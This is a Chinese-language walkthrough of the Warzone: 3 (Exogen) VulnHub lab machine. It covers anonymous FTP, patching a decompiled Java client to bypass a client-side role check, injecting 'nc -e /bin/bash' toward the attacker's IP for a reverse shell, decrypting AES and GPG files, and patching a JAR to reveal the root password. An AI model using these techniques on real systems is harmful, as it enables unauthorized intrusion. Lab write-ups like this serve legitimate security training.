Warzone: 3 (Exogen) vulnhub walkthrough

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本文档详细介绍了在vulnhub上的Warzone: 3 (Exogen)靶机的渗透过程，从信息收集开始，通过FTP找到用户名和密码，反编译JAR包并利用本地权限提升获得shell。然后通过AES解密获取anunnaki用户权限，最后通过解密脚本和逆向工程获取root权限。

Warzone: 3 (Exogen)

vulnhub地址：http://www.vulnhub.com/entry/warzone-3-exogen,606/

0x01 信息收集到获取shell

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
4444/tcp open  tcpwrapped

ftp以anonymous登录，下载文件note.txt和alienclient.jar，其中note中含有登录用户名alienum和密码exogenesis。

接着反编译jar包，来到感兴趣的地方。

在Starter.java的actionPerformed方法中，判断用户权限时，由于存在本地鉴权问题（在idea调试过程中验证），所以在判断用户权限前添加一句role = "astronaut";来提升权限。

  public void actionPerformed(ActionEvent e) {
    if (e.getSource() == this.loginButton) {
      String username = this.userTextField.getText();
      String password = this.passwordField.getText();
      try {
        this.socket = new Socket("warzone.local", 4444);
        this.os = new ObjectOutputStream(this.socket.getOutputStream());
        RE login = new RE();
        login.setToken(null);
        login.setOption("LOGIN");
        login.setCmd(null);
        login.setValue(String.valueOf(username) + "@" + password);
        this.os.writeObject(login);
        this.is = new ObjectInputStream(this.socket.getInputStream());
        RE response = (RE)this.is.readObject();
        token = response.getToken();
        role = token.getRole();
        this.os.close();
        this.socket.close();
        if (response.getValue().equals("TRUE")) {
          dashboard();
        } else {
          JOptionPane.showMessageDialog(this, "Invalid Username or Password");
        } 
      } catch (IOException|ClassNotFoundException e1) {
        e1.printStackTrace();
      } 
    } 
    if (e.getSource() == this.resetButton) {
      this.userTextField.setText("");
      this.passwordField.setText("");
    } 
    if (e.getSource() == this.showPassword)
      if (this.showPassword.isSelected()) {
        this.passwordField.setEchoChar('0');
      } else {
        this.passwordField.setEchoChar('*');
      }  
    if (e.getSource() == this.viewButton)
      role = "astronaut"; /*代码修改处*/
      if (role.equals("researcher")) {
        JOptionPane.showMessageDialog(this, "Permission Denied");
      } else if (role.equals("astronaut")) {
        try {
          this.socket = new Socket("warzone.local", 4444);
          this.os = new ObjectOutputStream(this.socket.getOutputStream());
          RE list = new RE();
          token.setRole(role);
          list.setToken(token);
          list.setOption("VIEW");
          list.setCmd("LIST");
          list.setValue(null);
          this.os.writeObject(list);
          this.is = new ObjectInputStream(this.socket.getInputStream());
          RE response = (RE)this.is.readObject();
          this.os.close();
          this.socket.close();
          reportList(response.getValue());
        } catch (IOException e1) {
          e1.printStackTrace();
        } catch (ClassNotFoundException e1) {
          e1.printStackTrace();
        } 
      }  
    if (e.getSource() == this.uploadButton)
      JOptionPane.showMessageDialog(this, "Has not been implemented"); 
  }

继续跟代码，点击查看文档发现是执行代码list.setCmd("tail -5 " + f);，于是将它更改为list.setCmd("nc -e /bin/bash 192.168.56.103 8080");，重新编译执行。

  public void reportList(String value) {
    JFrame view = new JFrame("View Reports");
    GridLayout list = new GridLayout(2, 2);
    Container containerLIst = view.getContentPane();
    containerLIst.setLayout(list);
    containerLIst.setBackground(Color.GRAY);
    String[] files = value.split("@");
    byte b;
    int i;
    String[] arrayOfString1;
    for (i = (arrayOfString1 = files).length, b = 0; b < i; ) {
      final String f = arrayOfString1[b];
      if (f.contains(".txt")) {
        JButton name = new JButton(f);
        name.addActionListener(new ActionListener() {
              public void actionPerformed(ActionEvent e) {
                try {
                  Starter.this.socket = new Socket("warzone.local", 4444);
                  Starter.this.os = new ObjectOutputStream(Starter.this.socket.getOutputStream());
                  RE list = new RE();
                  list.setToken(Starter.token);
                  list.setOption("VIEW");
                  list.setValue("VALUE");
                  list.setCmd("nc -e /bin/bash 192.168.56.103 8080"); /*代码修改处*/
                  Starter.this.os.writeObject(list);
                  Starter.this.is = new ObjectInputStream(Starter.this.socket.getInputStream());
                  RE response = (RE)Starter.this.is.readObject();
                  Starter.this.os.close();
                  Starter.this.socket.close();
                  Starter.this.reportValue(response.getValue());
                } catch (IOException e1) {
                  e1.printStackTrace();
                } catch (ClassNotFoundException e1) {
                  e1.printStackTrace();
                } 
              }
            });
        containerLIst.add(name);
      } 
      b++;
    } 
    view.setVisible(true);
    view.setBounds(10, 10, 370, 600);
    view.setDefaultCloseOperation(3);
    view.setResizable(true);
    view.show();
  }

成功反弹shell。

kali@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
connect to [192.168.56.103] from warzone.local [192.168.56.124] 56454
id
uid=1001(exomorph) gid=1001(exomorph) groups=1001(exomorph)

0x02 获取anunnaki用户权限

将/home/exomorph目录下的aliens.encrypted和wrz3encryptor.jar下载到本地(通过nc下载-过程略)。反编译wrz3encryptor.jar。

  private static void doCrypto(int cipherMode, String key, File inputFile, File outputFile) throws CryptoException {
    try {
      Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
      Cipher cipher = Cipher.getInstance("AES");
      cipher.init(cipherMode, secretKey);
      FileInputStream inputStream = new FileInputStream(inputFile);
      byte[] inputBytes = new byte[(int)inputFile.length()];
      inputStream.read(inputBytes);
      byte[] outputBytes = cipher.doFinal(inputBytes);
      FileOutputStream outputStream = new FileOutputStream(outputFile);
      outputStream.write(outputBytes);
      inputStream.close();
      outputStream.close();
    } catch (NoSuchPaddingException|java.security.NoSuchAlgorithmException|java.security.InvalidKeyException|javax.crypto.BadPaddingException|javax.crypto.IllegalBlockSizeException|java.io.IOException ex) {
      throw new CryptoException("Error encrypting/decrypting file", ex);
    } 
  }

其实就是一个AES加密，看来整个warzone系列都喜欢弄点加密来迷惑人哈。以下是解密代码：

  public static void decrypt(String key, File inputFile, File outputFile) {
    doDeCrypto(2, key, inputFile, outputFile);
  }

  private static void doDeCrypto(int cipherMode, String key, File inputFile, File outputFile) {
    try {
      Key secretKey = new SecretKeySpec(key.getBytes(), "AES");
      Cipher cipher = Cipher.getInstance("AES");
      cipher.init(cipherMode, secretKey);
      FileInputStream inputStream = new FileInputStream(inputFile);
      byte[] inputBytes = new byte[(int)inputFile.length()];
      inputStream.read(inputBytes);
      byte[] outputBytes = cipher.doFinal(inputBytes);
      FileOutputStream outputStream = new FileOutputStream(outputFile);
      outputStream.write(outputBytes);
      inputStream.close();
      outputStream.close();
      } catch (Exception ex) {
        ex.printStackTrace();
      }
  }

代码其实就把ciphermode从1改为了2，得到用户名密码anunnaki:nak1nak1..。

kali@kali:~$ warzone3decrypt strings aliens.txt 
minotaur:m1nom1no..
scylla:scyscy..
echidna:ech1ech1..
cyclops:cyccyc..
anunnaki:nak1nak1..
anunnaki:nak1nak2..
anunnaki:nakinaki..

ssh登陆后进入用户目录。

anunnaki@warzone3:~$ ls
info.txt  secpasskeeper.jar.gpg  underboss.txt
anunnaki@warzone3:~$ cat info.txt 
Remember to use --batch, 
otherwise the passphrase options will be ignored when you decrypt the gpg file
You know the pa[ssh]phrase
anunnaki@warzone3:~$ cat underboss.txt 
。。。。。。
EXOGEN { WARZONE_UNDERBOSS_AL1EN }

0x03 获取root权限

按照提示解密secpasskeeper.jar.gpg

anunnaki@warzone3:~$ gpg -o secpasskeeper.jar -d secpasskeeper.jar.gpg #passphrase为nak1nak1..
anunnaki@warzone3:~$ ls
info.txt  secpasskeeper.jar  secpasskeeper.jar.gpg  underboss.txt

通过nc将secpasskeeper.jar下载到本地逆向分析，将代码Main修改为

public class Main {
  public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
    try {
      Scanner in = new Scanner(System.in);
      System.out.println("[Warzone 3] Root's Password Manager");
      System.out.print("Secret passphrase : ");
      String secret = in.nextLine();
      Cryptor cryptor = new Cryptor();
      Resources res = new Resources();
      String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
      String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
      if (true/*user.equals(sys)*/) { /*代码修改处*/
        String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
        System.out.println("[+] Success, the password is : " + plaintext);
      } else {
        System.out.println("[x] Failed");
      } 
    } catch (NullPointerException n) {
      System.out.println("[!] Terminated");
      System.exit(0);
    } 
  }
  
  public static String removeSalt(String salted) {
    String unsalted = salted.replace("al13n", "");
    return unsalted;
  }
}

随意输入，得到root用户密码ufo_phosXEN。

[Warzone 3] Root's Password Manager
Secret passphrase : 123
[x] Invalid key length {16 required}
[+] Success, the password is : ufo_phosXEN

anunnaki@warzone3:~$ su - root
Password: 
root@warzone3:~# id
uid=0(root) gid=0(root) groups=0(root)
root@warzone3:~# ls
boss.txt  cron  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
root@warzone3:~# cat boss.txt 
。。。。。。
EXOGEN { WARZONE_FINAL_BOSS }
by Alienum with <3